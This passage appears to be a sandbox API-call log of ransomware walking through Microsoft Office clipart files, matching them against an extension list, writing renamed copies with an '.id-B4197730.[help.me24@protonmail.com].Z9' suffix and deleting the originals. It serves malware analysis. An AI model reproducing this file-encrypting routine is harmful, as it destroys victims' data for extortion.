	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString=".zip") returned 4
	[0082.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.808] lstrlenW (lpString=".rar") returned 4
	[0082.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString=".bz2") returned 4
	[0082.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString=".7z") returned 3
	[0082.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString=".dbf") returned 4
	[0082.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString=".1cd") returned 4
	[0082.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString=".jpg") returned 4
	[0082.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.808] lstrlenW (lpString=".doc") returned 4
	[0082.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString=".docx") returned 5
	[0082.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.808] lstrlenW (lpString=".pdf") returned 4
	[0082.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString=".xls") returned 4
	[0082.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.808] lstrlenW (lpString=".xlsx") returned 5
	[0082.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.809] lstrlenW (lpString=".ppt") returned 4
	[0082.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.809] lstrlenW (lpString=".zip") returned 4
	[0082.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.809] lstrlenW (lpString=".rar") returned 4
	[0082.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.809] lstrlenW (lpString=".bz2") returned 4
	[0082.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.809] lstrlenW (lpString=".7z") returned 3
	[0082.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.809] lstrlenW (lpString=".dbf") returned 4
	[0082.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.809] lstrlenW (lpString=".1cd") returned 4
	[0082.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.809] lstrlenW (lpString=".jpg") returned 4
	[0082.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.809] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.809] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0082.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.809] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9240) returned 1
	[0082.809] CloseHandle (hObject=0x338) returned 1
	[0082.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220
	[0082.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.810] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.810] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.810] GetLastError () returned 0x0
	[0082.810] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2418, lpOverlapped=0x0) returned 1
	[0082.812] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2420, lpOverlapped=0x0) returned 1
	[0082.813] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.813] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.813] SetEndOfFile (hFile=0x364) returned 1
	[0082.813] CloseHandle (hObject=0x364) returned 1
	[0082.814] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.814] SetEndOfFile (hFile=0x338) returned 1
	[0082.815] CloseHandle (hObject=0x338) returned 1
	[0082.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".doc") returned 4
	[0082.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString=".docx") returned 5
	[0082.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.816] lstrlenW (lpString=".pdf") returned 4
	[0082.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString=".xls") returned 4
	[0082.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.816] lstrlenW (lpString=".xlsx") returned 5
	[0082.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.816] lstrlenW (lpString=".ppt") returned 4
	[0082.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".zip") returned 4
	[0082.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.816] lstrlenW (lpString=".rar") returned 4
	[0082.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString=".bz2") returned 4
	[0082.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString=".7z") returned 3
	[0082.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".dbf") returned 4
	[0082.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".1cd") returned 4
	[0082.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".jpg") returned 4
	[0082.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.816] lstrlenW (lpString=".doc") returned 4
	[0082.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString=".docx") returned 5
	[0082.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.817] lstrlenW (lpString=".pdf") returned 4
	[0082.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString=".xls") returned 4
	[0082.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.817] lstrlenW (lpString=".xlsx") returned 5
	[0082.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.817] lstrlenW (lpString=".ppt") returned 4
	[0082.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.817] lstrlenW (lpString=".zip") returned 4
	[0082.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.817] lstrlenW (lpString=".rar") returned 4
	[0082.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString=".bz2") returned 4
	[0082.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString=".7z") returned 3
	[0082.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.817] lstrlenW (lpString=".dbf") returned 4
	[0082.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.817] lstrlenW (lpString=".1cd") returned 4
	[0082.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0082.817] lstrlenW (lpString=".jpg") returned 4
	[0082.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.817] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.817] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0082.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.818] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2344) returned 1
	[0082.818] CloseHandle (hObject=0x338) returned 1
	[0082.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220
	[0082.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.818] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.818] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.819] GetLastError () returned 0x0
	[0082.819] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x928, lpOverlapped=0x0) returned 1
	[0082.820] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x930, lpOverlapped=0x0) returned 1
	[0082.821] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.821] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.821] SetEndOfFile (hFile=0x364) returned 1
	[0082.821] CloseHandle (hObject=0x364) returned 1
	[0082.822] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.822] SetEndOfFile (hFile=0x338) returned 1
	[0082.823] CloseHandle (hObject=0x338) returned 1
	[0082.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".doc") returned 4
	[0082.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString=".docx") returned 5
	[0082.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.824] lstrlenW (lpString=".pdf") returned 4
	[0082.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString=".xls") returned 4
	[0082.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.824] lstrlenW (lpString=".xlsx") returned 5
	[0082.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.824] lstrlenW (lpString=".ppt") returned 4
	[0082.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".zip") returned 4
	[0082.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.824] lstrlenW (lpString=".rar") returned 4
	[0082.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString=".bz2") returned 4
	[0082.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString=".7z") returned 3
	[0082.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".dbf") returned 4
	[0082.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".1cd") returned 4
	[0082.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".jpg") returned 4
	[0082.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.824] lstrlenW (lpString=".doc") returned 4
	[0082.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString=".docx") returned 5
	[0082.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.825] lstrlenW (lpString=".pdf") returned 4
	[0082.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString=".xls") returned 4
	[0082.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.825] lstrlenW (lpString=".xlsx") returned 5
	[0082.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.825] lstrlenW (lpString=".ppt") returned 4
	[0082.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.825] lstrlenW (lpString=".zip") returned 4
	[0082.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.825] lstrlenW (lpString=".rar") returned 4
	[0082.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString=".bz2") returned 4
	[0082.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString=".7z") returned 3
	[0082.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.825] lstrlenW (lpString=".dbf") returned 4
	[0082.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.825] lstrlenW (lpString=".1cd") returned 4
	[0082.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0082.825] lstrlenW (lpString=".jpg") returned 4
	[0082.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.825] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.825] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0082.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.826] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6060) returned 1
	[0082.826] CloseHandle (hObject=0x338) returned 1
	[0082.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220
	[0082.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.826] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.826] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.827] GetLastError () returned 0x0
	[0082.827] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x17ac, lpOverlapped=0x0) returned 1
	[0082.828] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x17b0, lpOverlapped=0x0) returned 1
	[0082.829] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.829] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.829] SetEndOfFile (hFile=0x364) returned 1
	[0082.829] CloseHandle (hObject=0x364) returned 1
	[0082.830] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.830] SetEndOfFile (hFile=0x338) returned 1
	[0082.831] CloseHandle (hObject=0x338) returned 1
	[0082.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.832] lstrlenW (lpString=".doc") returned 4
	[0082.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.832] lstrlenW (lpString=".docx") returned 5
	[0082.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.832] lstrlenW (lpString=".pdf") returned 4
	[0082.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.832] lstrlenW (lpString=".xls") returned 4
	[0082.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.832] lstrlenW (lpString=".xlsx") returned 5
	[0082.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.832] lstrlenW (lpString=".ppt") returned 4
